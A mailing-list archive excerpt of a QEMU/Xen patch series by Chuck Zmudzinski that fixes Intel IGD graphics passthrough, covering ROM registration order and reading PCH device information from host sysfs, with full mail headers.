 (envelope-from <brchuckz@aol.com>)
 id 6a4fe9ed-b7da-0a2a450b0019-6289441fa20e-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 20:35:26 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic308.consmr.mail.gq1.yahoo.com with HTTP; Thu, 9 Jul 2026 18:35:24 +0000
Received: by hermes--production-ne1-7568ccb994-fjmzg (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID 910e3b4d72a347495c18993f77062a0e; 
 Thu, 09 Jul 2026 18:35:23 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=aol.com header.i="@aol.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=aol.com; s=a2048; t=1783622124; bh=RWUWN1Khjj7dJNM0rQ3yGglWM1wDL1ijwxyNMLI6jYE=; h=From:To:Cc:Subject:Date:In-Reply-To:References:From:Subject:Reply-To; b=DqdgcDySsWQn3/hfhqx93w0tMHWTVlJYPc2ZhAOCQPfAMMIoP/uPvJ9TcMh1o2KSDl7zg5KTfN55CvOhskA0l1W7IEcOAJz5DV8P/EGSHkq2w1qAw5OJe5Lw3ZUgvhx1UbJh8oqXFLgz4NYWQvLpgeC6RKS6by8Ub6whBxQkXmc0SBrGsPJ9ep6IhsexQAtYmAhPCKuoWfc2CzvnBZNTCPBgRvyLRz/Kb+hFGsLLRg8F5Ex8oFeEnUTEllKyNFPdQthsMajmBPO4Tb/WF3IUx3X3qdBen7YVYEkZWMOHGWX779Uu5F8EdZ/X2SBmjFVQNO4Y5EEhOg1lyyB1MxZtgA==
X-SONIC-DKIM-SIGN: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1783622124; bh=5qCBF6nm0C28qlJPoFBbn0E8KwxNV8yc5GrA4lxP5jX=; h=X-Sonic-MF:From:To:Subject:Date:From:Subject; b=oj6CFCXljEo5MSL5LpWL2CeqmwpowIrywm5/t97F5m1kSoATKqPVTPnz5n5X6DRxAqQ0yF49KB5OCDpZ/OHAONOqu1ZziIGhqsgB0RW9pWzs2dXbigBEDpZn1xvkyHkeV5WHpD6QpuNIDRKs20GxTqfSKGKggMDgS1Z92bH/7l1mj5dLu6/Wk5ADTzmKF5X/Qf49ZxsbqPEbVRlupr1v56fQiOO4RrP15pHynnZoFmt5I1UBm014shAbM1oJsTx1Fm3wW6L/qhNRJle2aaGRrXUc0TIkdp83FzghIiHcOEJSZYtNLi1I0zT4IwOLG5TORC54qUjLFffzJ3A4vQUrtQ==
X-YMail-OSG: L4MJRXUVM1kVp8VEtv0TmQ7TiWZogcFrMIf7kJDDTJoc.aD3bGM_FLa_204FUAs
 B6Gv4cVOakoVX_sRf03Z04sQ6w2kvCp5NXTEbU_oHO4W6euyUAvHjLKobrhD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ra_SWofdrAOZ0RDwZhan8NnNxgjnzDj0O54EFviAybg13DWxekJiYZQO9KLEsM
 VD7x1wllEcTAM1t7euqv6mh7p.cRSc1m8MkKZz.mY
X-Sonic-MF: <brchuckz@aol.com>
X-Sonic-ID: 5789bcb1-0729-48f7-807f-e36832099043
From: Chuck Zmudzinski <brchuckz@aol.com>
To: qemu-devel@nongnu.org
Cc: qemu-stable@nongnu.org,
	xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E . Iglesias" <edgar.iglesias@gmail.com>
Subject: [PATCH v3 3/3] xen/igd: fixup device id before registering rom
Date: Thu,  9 Jul 2026 14:35:16 -0400
Message-ID: <20260709183517.25866-4-brchuckz@aol.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260709183517.25866-1-brchuckz@aol.com>
References: <20260709183517.25866-1-brchuckz@aol.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Length: 3221
X-purgate-ID: tlsNG-42698a/1783622126-4B36C9ED-BD7F74DB/0/0
X-purgate-type: clean
X-purgate-size: 3305

With the current implementation, Seabios does not see the fixup of
the device id done here and consequently Seabios does not load the
VGA bios and the guest screen does not light up until the guest OS
graphics driver is loaded. So there is no VGA output from the passed
through Intel IGD from either Seabios or the guest bootloader with
the current implementation in cases when the device id needs fixing.

Fix this by waiting until after doing fixup of the device id before
registering the option ROM. With this patch, Seabios sees the fixup
done here and loads the VGA bios, and both Seabios and the guest
bootloader light up the guest screen in cases when fixup of the
device id is needed.

Also, remove unused header hw/core/loader.h.

Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
---
Changes in v2:
  - add a period to the end of the last sentence of the commit message
  - add stable to Cc list

Changes in v3:
  - fix Cc address for qemu-stable

 hw/xen/xen_pt_graphics.c |  3 +++
 hw/xen/xen_pt_load_rom.c | 18 ++++++++++++------
 2 files changed, 15 insertions(+), 6 deletions(-)

diff --git a/hw/xen/xen_pt_graphics.c b/hw/xen/xen_pt_graphics.c
index 2ef941e..aface0b 100644
--- a/hw/xen/xen_pt_graphics.c
+++ b/hw/xen/xen_pt_graphics.c
@@ -222,6 +222,9 @@ void xen_pt_setup_vga(XenPCIPassthroughState *s, XenHostPCIDevice *dev,
         }
     }
 
+    pci_register_bar(&s->dev, PCI_ROM_SLOT, 0, &s->dev.rom);
+    s->dev.has_rom = true;
+
     /* Currently we fixed this address as a primary for legacy BIOS. */
     physical_memory_write(0xc0000, bios, bios_size);
 }
diff --git a/hw/xen/xen_pt_load_rom.c b/hw/xen/xen_pt_load_rom.c
index 319efca..407b630 100644
--- a/hw/xen/xen_pt_load_rom.c
+++ b/hw/xen/xen_pt_load_rom.c
@@ -4,14 +4,22 @@
 #include "qemu/osdep.h"
 #include "qapi/error.h"
 #include "qemu/error-report.h"
-#include "hw/core/loader.h"
 #include "hw/pci/pci.h"
 #include "xen_pt.h"
 
 /*
- * Scan the assigned devices for the devices that have an option ROM, and then
- * load the corresponding ROM data to RAM. If an error occurs while loading an
- * option ROM, we just ignore that option ROM and continue with the next one.
+ * Normally xen_pt_register_regions will handle loading the option ROM,
+ * but in some cases, such as for the Intel IGD, the option ROM might
+ * need to be modified.
+ *
+ * For such cases, use this function to get a pointer to the option ROM
+ * from sysfs. Caller has the responsibility to edit the option ROM as
+ * needed, call pci_register_bar to register the modified option ROM,
+ * and set has_rom to true for the PCI device.
+ *
+ * This function must be called before xen_pt_register_regions is called
+ * because if xen_pt_register_regions is called first, it will register
+ * the option ROM and any attempt to register it again will fail.
  */
 void *pci_assign_dev_load_option_rom(PCIDevice *dev,
                                      int *size, unsigned int domain,
@@ -76,8 +84,6 @@ void *pci_assign_dev_load_option_rom(PCIDevice *dev,
         goto close_rom;
     }
 
-    pci_register_bar(dev, PCI_ROM_SLOT, 0, &dev->rom);
-    dev->has_rom = true;
     *size = st.st_size;
 close_rom:
     /* Write "0" to disable ROM */
-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 18:35:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 18:35:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358455.1612558 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whtar-0003eH-Sw; Thu, 09 Jul 2026 18:35:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358455.1612558; Thu, 09 Jul 2026 18:35:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whtar-0003dv-PI; Thu, 09 Jul 2026 18:35:29 +0000
Received: by outflank-mailman (input) for mailman id 1358455;
 Thu, 09 Jul 2026 18:35:28 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@aol.com>) id 1whtaq-0003cA-03
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 18:35:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whtap-00CZrX-CN
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 20:35:27 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fe99b-2eae-0a2a0a5409dd-0a2a4508b8aa-40
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 20:35:26 +0200
Received: from [98.137.68.31] (helo=sonic308-55.consmr.mail.gq1.yahoo.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fe9ed-ee29-0a2a45080019-6289441fb079-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 20:35:26 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic308.consmr.mail.gq1.yahoo.com with HTTP; Thu, 9 Jul 2026 18:35:24 +0000
Received: by hermes--production-ne1-7568ccb994-fjmzg (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID 910e3b4d72a347495c18993f77062a0e; 
 Thu, 09 Jul 2026 18:35:18 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=aol.com header.i="@aol.com" header.h="From:To:Cc:Subject:Date:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=aol.com; s=a2048; t=1783622124; bh=6pmAJjcUB5q8haQTvbnM0zogdQ5zH/eTiLvwW+j9fm8=; h=From:To:Cc:Subject:Date:References:From:Subject:Reply-To; b=suhQKlawReJfhHuDdVMiNiIWTqvx5x2xbaHPLkGg6xExVCKMGgH1K26YqsDcIbi5w+2w7RSqQFagUGActkNL+cE3nVpyp/FSw8brXuo3wyXnEp+sSiiXL/bWFpNN2upwudI+k8QDtrVrUecy7lILVObvU7QHTSA8HM0Ta6dz8E7GjvLLwQSI6ut4HRbTva45MmAgLgK2uYFpeu4iNPSZJaekvpbBQgiFQhNonC4jMvfHhpY87p2urFHIPNP3Vg3JZ0lY+7pueUKxOHBVfVQQn6bqhCpFmZuFyww+c1DjYnQmopjnuYzGRcItUBftyrO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VT7XMdgAeDrh6I4Hjjm
 yMmZtQZB76jFCUPJ_MyVpw.r213wT3i3oT515hXEFj.ZZDKzV9bYOcfZdE4Cu9lfRjKb6lSbmML_
 o8WMozzRPnR4CFmTr4iuCgkGrXRPTr061UNwEVBJeHvrmjuloYCQjXaUxKLDZdk7qjLUOQdfnZ93
 Wuc4zZmImORw4xQC64R4rs4exmhvlNJmQCmja2g1qUOdkSJ7crONCZFn39ZJ1Y6ap4FPCUQ0UaqL
 QBelb.AJKlas6UhLfLu7D9k8kvGwFPS8j8aS5Lm9eUFbKzr0IGrw2xEwwxCPkzg6KHyi5oggzSTv
 lcwrh.C_KV4pnz3S.5PGUxUqtFoka4p0NuCgJEUqps3rLsLrdl1QD6Zp8sl.vudykpiPFs7eat5K
 PaU4dt8jASVK.3rpN_E.NfoStyMtA87pjTtizpPY9VgD6BCKIr8FUMVco_6CTqyBL6PNvTAKBpU8
 Q3uAKTypnumQBzXDjS79fld05MtAP3DLfbje2h8LVmcL.D9XwOdEde3VLZ9XI5Im2q5Q45p3IBtz
 IjEpQA8rEBntk6f7gTJeLVviJtrlWRWPBwz09yc69u0a6BmXXrDYI8HOEyYpWdLbsRnZI1Hs_v0.
 qqD_zjSBsFe9PF6DtMvFHfy2kZw5RsK5G9x_Doby4q2pbsE6Kf4S4DYx1qb1S9XmA7ZFqPQuP2e9
 JWoAQCWRgzmyj6YMrH1yY.xI7j9Dw2yPnw9qWt2U-
X-Sonic-MF: <brchuckz@aol.com>
X-Sonic-ID: 7cd21549-264e-427b-ac56-e248d8c18734
From: Chuck Zmudzinski <brchuckz@aol.com>
To: qemu-devel@nongnu.org
Cc: qemu-stable@nongnu.org,
	xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E . Iglesias" <edgar.iglesias@gmail.com>
Subject: [PATCH v3 0/3] xen/igd: fixes for Intel IGD passthrough
Date: Thu,  9 Jul 2026 14:35:13 -0400
Message-ID: <20260709183517.25866-1-brchuckz@aol.com>
X-Mailer: git-send-email 2.47.3
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
References: <20260709183517.25866-1-brchuckz.ref@aol.com>
Content-Length: 1296
X-purgate-ID: tlsNG-c1860d/1783622126-78A3901C-565D52F6/0/0
X-purgate-type: clean
X-purgate-size: 1335

This patch series aims to fix long-standing bugs that need
to be backported to all currently supported stable versions.

This series fixes three bugs that cause problems ranging from
a dark screen in the guest until the guest OS graphics drivers
are loaded to an assert failure that prevents the guest from
starting.

To test these patches, it is necessary to test with older Intel
IGD devices that have support for legacy VGA bios.

The patches have been tested using Xen 4.21 and Seabios 1.17
on Fedora 44 using an Intel NUC7i5BNK with an i5-7260U processor
and have been verified to fix the bugs as described in the
individual patches.

Changes in v2:
  - close open files before setting errp
  - improvements to readability and style
  - small corrections to the commit messages
  - add stable to Cc list

Changes in v3:
  - whitespace fix in first patch
  - fix Cc address for qemu-stable

Chuck Zmudzinski (3):
  xen/igd: get PCH info from host sysfs
  xen/igd: don't register rom bar twice
  xen/igd: fixup device id before registering rom

 hw/xen/xen_pt.c          |  5 ++-
 hw/xen/xen_pt_graphics.c | 85 ++++++++++++++++++++++++++++++++++++++--
 hw/xen/xen_pt_load_rom.c | 18 ++++++---
 include/hw/xen/xen_igd.h |  3 +-
 4 files changed, 99 insertions(+), 12 deletions(-)

-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 18:35:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 18:35:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358456.1612565 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whtas-0003lE-6M; Thu, 09 Jul 2026 18:35:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358456.1612565; Thu, 09 Jul 2026 18:35:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whtas-0003jT-07; Thu, 09 Jul 2026 18:35:30 +0000
Received: by outflank-mailman (input) for mailman id 1358456;
 Thu, 09 Jul 2026 18:35:28 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@aol.com>) id 1whtaq-0003c9-32
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 18:35:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whtap-003m4z-B9
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 20:35:27 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fe9e8-bab6-0a2a0a5309dd-0a2a4503c090-6
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 20:35:27 +0200
Received: from [98.137.69.83] (helo=sonic314-20.consmr.mail.gq1.yahoo.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fe9ed-f2d2-0a2a45030019-628945539861-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 20:35:26 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic314.consmr.mail.gq1.yahoo.com with HTTP; Thu, 9 Jul 2026 18:35:24 +0000
Received: by hermes--production-ne1-7568ccb994-fjmzg (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID 910e3b4d72a347495c18993f77062a0e; 
 Thu, 09 Jul 2026 18:35:20 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=aol.com header.i="@aol.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=aol.com; s=a2048; t=1783622124; bh=/ZDT7ysuptrZOTrmM1Jhx5Il0BS4A6/u6DfM5qxpPIE=; h=From:To:Cc:Subject:Date:In-Reply-To:References:From:Subject:Reply-To; b=SjE4FCKa1O/xDTknG9trKJupPqVawogNk+2Bl1sjj7XuVOkjI3J37D5tyS77nfjdwUhGqT3x9N+c4BSLszAy4E2U5D1olbogZSJHQB7nWvpxJZu76jy8JLzTgWZ5j+Tf0Zah/Ymozc63/9tP/WX8whvtnkvTk6+y2/qGAPUAOPDB7wUrsmqEOZeWv8/XcRKXiHZj1OLuRnIbrN88E9Ww9jIXnZjj8LiW0BwnDMypsFwTjQ7Kq8LYFdSaZYD2yFa5mEuN7yjyEEVUJT+2xlA6BM/7BPKoL92iqX2ZMQb+rA9cdbpQgXvJo+7Ox9/WQM4XDir2O/Gxv5GTy3Yba+Qv2w==
X-SONIC-DKIM-SIGN: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1783622124; bh=BQd1aEnETDWDhVMq1/G+QSZWd6nNIAWzejkvBel8vsx=; h=X-Sonic-MF:From:To:Subject:Date:From:Subject; b=mXqwNYZF9w8gqo3DkhBFQnmd+nRI8w2eVnOYFGgFjykKUemBMR1wr6mO9aRM0/3XjapGDCyrTGWqkp/9U1sTvZJZrqOXaaT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lL2Vrl55TRDXm.hdWvkVd4BMP.iBDeFoD.RgrYuurLTG.t
 wPLndfwPOB.RlIV_Uv_dQsCjLuRt._YOIbCtNcEUXabxImLJBIefg5UhldFZlAofPlg1sKOvtgN6
 qirFlJaE7TP1gGC_fpMOAygsEpFMcoImhpqLk9yn0wBOu6Su2_w7qe_NO0X3fmJ6El9Zw89ewiGG
 uwzZjHPWIUoLyqWVSm7O1GulS9Ih6L4xf6KWtrTSoMyh.ekxbwYjlEX7pq4uNnfxyHHASs2pXlT1
 rRClJ1Q1Pt4E1omYplYbMIrO.tmIlvBis6_Nd7maBoUfH3CPc6yvT67ktR6Cd4T2GrFWaPMt5oKU
 RjJjK34SWU9GWuMTOlXziIDyA4i3ZwL2ARTJGLBxPK3o9hHhLWP1sFHCFCY_172HG2DIwmt9EHJh
 bP0OqiSZapZXW.SWrF6m43DWZgoVDVOm3EqS47A--
X-Sonic-MF: <brchuckz@aol.com>
X-Sonic-ID: f0f93a08-abbd-4926-a83f-f5164795b146
From: Chuck Zmudzinski <brchuckz@aol.com>
To: qemu-devel@nongnu.org
Cc: qemu-stable@nongnu.org,
	xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E . Iglesias" <edgar.iglesias@gmail.com>
Subject: [PATCH v3 1/3] xen/igd: get PCH info from host sysfs
Date: Thu,  9 Jul 2026 14:35:14 -0400
Message-ID: <20260709183517.25866-2-brchuckz@aol.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260709183517.25866-1-brchuckz@aol.com>
References: <20260709183517.25866-1-brchuckz@aol.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Length: 5914
X-purgate-ID: tlsNG-33051d/1783622126-F3955CF4-66E1B044/0/0
X-purgate-type: clean
X-purgate-size: 6086

The igd_combo_id_infos[] data is more than 10 years
out of date with many Intel IGD devices missing from
igd_combo_id_infos[]. This means that many devices
that could be supported will not work with the
current implementation.

For newer devices not listed in igd_combo_id_infos[],
get infos from the host sysfs to enable support for the
newer devices not listed in igd_combo_id_infos[].

Introduce the helper function xen_pt_get_host_pch_info
to facilitate getting the necessary information from
sysfs.

Also, use errp in xen_igd_passthrough_isa_bridge_create
to set errors from xen_pt_get_host_pch_info.

Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
---
Changes in v2:
  - call error_setg* after closing files instead of before closing
    files
  - in last line of commit message change "to propagate errors" to
    "to set errors"
  - add stable to Cc list

Changes in v3:
  - whitespace fix at line 380 of xen_pt_graphics.c
  - fix Cc address for qemu-stable

 hw/xen/xen_pt.c          |  2 +-
 hw/xen/xen_pt_graphics.c | 82 ++++++++++++++++++++++++++++++++++++++--
 include/hw/xen/xen_igd.h |  3 +-
 3 files changed, 82 insertions(+), 5 deletions(-)

diff --git a/hw/xen/xen_pt.c b/hw/xen/xen_pt.c
index 0fe9c0a..474606e 100644
--- a/hw/xen/xen_pt.c
+++ b/hw/xen/xen_pt.c
@@ -867,7 +867,7 @@ static void xen_pt_realize(PCIDevice *d, Error **errp)
         }
 
         /* Register ISA bridge for passthrough GFX. */
-        xen_igd_passthrough_isa_bridge_create(s, &s->real_device);
+        xen_igd_passthrough_isa_bridge_create(s, &s->real_device, errp);
     }
 
     /* Handle real device's MMIO/PIO BARs */
diff --git a/hw/xen/xen_pt_graphics.c b/hw/xen/xen_pt_graphics.c
index 7df9344..2ef941e 100644
--- a/hw/xen/xen_pt_graphics.c
+++ b/hw/xen/xen_pt_graphics.c
@@ -376,8 +376,75 @@ static void pt_graphics_register_types(void)
 }
 type_init(pt_graphics_register_types)
 
+static void xen_pt_get_host_pch_info(PCIDevice *dev, uint16_t *pch_dev_id,
+                                     uint8_t *pch_rev_id, Error **errp)
+{
+    FILE *fp1, *fp2;
+    char *endptr;
+    char device_id[7], rev[5];
+    size_t len;
+    const char *device = "/sys/bus/pci/devices/0000:00:1f.0/device";
+    const char *revision = "/sys/bus/pci/devices/0000:00:1f.0/revision";
+    unsigned long val;
+
+    fp1 = fopen(device, "r");
+    if (fp1 == NULL) {
+        error_setg_errno(errp, errno, "Cannot open %s", device);
+        return;
+    }
+    fp2 = fopen(revision, "r");
+    if (fp2 == NULL) {
+        fclose(fp1);
+        error_setg_errno(errp, errno, "Cannot open %s", revision);
+        return;
+    }
+
+    len = fread(device_id, 1, 7, fp1);
+    if (!len) {
+        fclose(fp1);
+        fclose(fp2);
+        error_setg(errp, "Cannot read %s", device);
+        return;
+    }
+    len = fread(rev, 1, 5, fp2);
+    if (!len) {
+        fclose(fp1);
+        fclose(fp2);
+        error_setg(errp, "Cannot read %s", revision);
+        return;
+    }
+    fclose(fp1);
+    fclose(fp2);
+
+    val = strtoul(device_id, &endptr, 16);
+    if (val > 0xffff) {
+        error_setg(errp, "PCH device id is out of range: 0x%lx", val);
+        return;
+    }
+    if ((endptr > device_id) && (errno != ERANGE) &&
+        (errno != EINVAL)) {
+        *pch_dev_id = (uint16_t)val;
+    } else {
+        error_setg_errno(errp, errno, "device id strtoul "
+                                      "conversion failed");
+        return;
+    }
+    val = strtoul(rev, &endptr, 16);
+    if (val > 0xff) {
+        error_setg(errp, "PCH revision is out of range: 0x%lx", val);
+        return;
+    }
+    if ((endptr > rev) && (errno != ERANGE) && (errno != EINVAL)) {
+        *pch_rev_id = (uint8_t)val;
+    } else {
+        error_setg_errno(errp, errno, "revision strtoul "
+                                      "conversion failed");
+    }
+}
+
 void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
-                                           XenHostPCIDevice *dev)
+                                           XenHostPCIDevice *dev,
+                                           Error **errp)
 {
     PCIBus *bus = pci_get_bus(&s->dev);
     struct PCIDevice *bridge_dev;
@@ -394,7 +461,16 @@ void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
         }
     }
 
-    if (pch_dev_id == 0xffff) {
+    /* Newer devices get PCH infos from host sysfs */
+    if ((pch_dev_id == 0xffff) || !pch_rev_id) {
+        xen_pt_get_host_pch_info(&s->dev, &pch_dev_id, &pch_rev_id, errp);
+    }
+
+    XEN_PT_LOG(&s->dev, "PCH device id: 0x%x\n", pch_dev_id);
+    XEN_PT_LOG(&s->dev, "PCH revision: 0x%x\n", pch_rev_id);
+
+    if ((pch_dev_id == 0xffff) || !pch_rev_id) {
+        error_setg(errp, "failed to get PCH device id or revision");
         return;
     }
 
@@ -406,7 +482,7 @@ void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
      * Note that vendor id is always PCI_VENDOR_ID_INTEL.
      */
     if (!bridge_dev) {
-        fprintf(stderr, "set igd-passthrough-isa-bridge failed!\n");
+        error_setg(errp, "set igd-passthrough-isa-bridge failed!");
         return;
     }
     pci_config_set_device_id(bridge_dev->config, pch_dev_id);
diff --git a/include/hw/xen/xen_igd.h b/include/hw/xen/xen_igd.h
index 7ffca06..da51f09 100644
--- a/include/hw/xen/xen_igd.h
+++ b/include/hw/xen/xen_igd.h
@@ -22,7 +22,8 @@ uint32_t igd_read_opregion(XenPCIPassthroughState *s);
 void xen_igd_reserve_slot(PCIBus *pci_bus);
 void igd_write_opregion(XenPCIPassthroughState *s, uint32_t val);
 void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
-                                           XenHostPCIDevice *dev);
+                                           XenHostPCIDevice *dev,
+                                           Error **errp);
 
 static inline bool is_igd_vga_passthrough(XenHostPCIDevice *dev)
 {
-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 18:35:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 18:35:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358454.1612552 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whtar-0003cY-Kq; Thu, 09 Jul 2026 18:35:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358454.1612552; Thu, 09 Jul 2026 18:35:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whtar-0003cR-IF; Thu, 09 Jul 2026 18:35:29 +0000
Received: by outflank-mailman (input) for mailman id 1358454;
 Thu, 09 Jul 2026 18:35:28 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@aol.com>) id 1whtaq-0003c8-1s
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 18:35:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whtap-003m4z-6m
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 20:35:27 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fe9ca-bab6-0a2a0a5309dd-0a2a450a9ac2-24
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 20:35:26 +0200
Received: from [98.137.69.83] (helo=sonic314-20.consmr.mail.gq1.yahoo.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fe9ed-ec7d-0a2a450a0019-62894553875c-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 20:35:26 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic314.consmr.mail.gq1.yahoo.com with HTTP; Thu, 9 Jul 2026 18:35:24 +0000
Received: by hermes--production-ne1-7568ccb994-fjmzg (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID 910e3b4d72a347495c18993f77062a0e; 
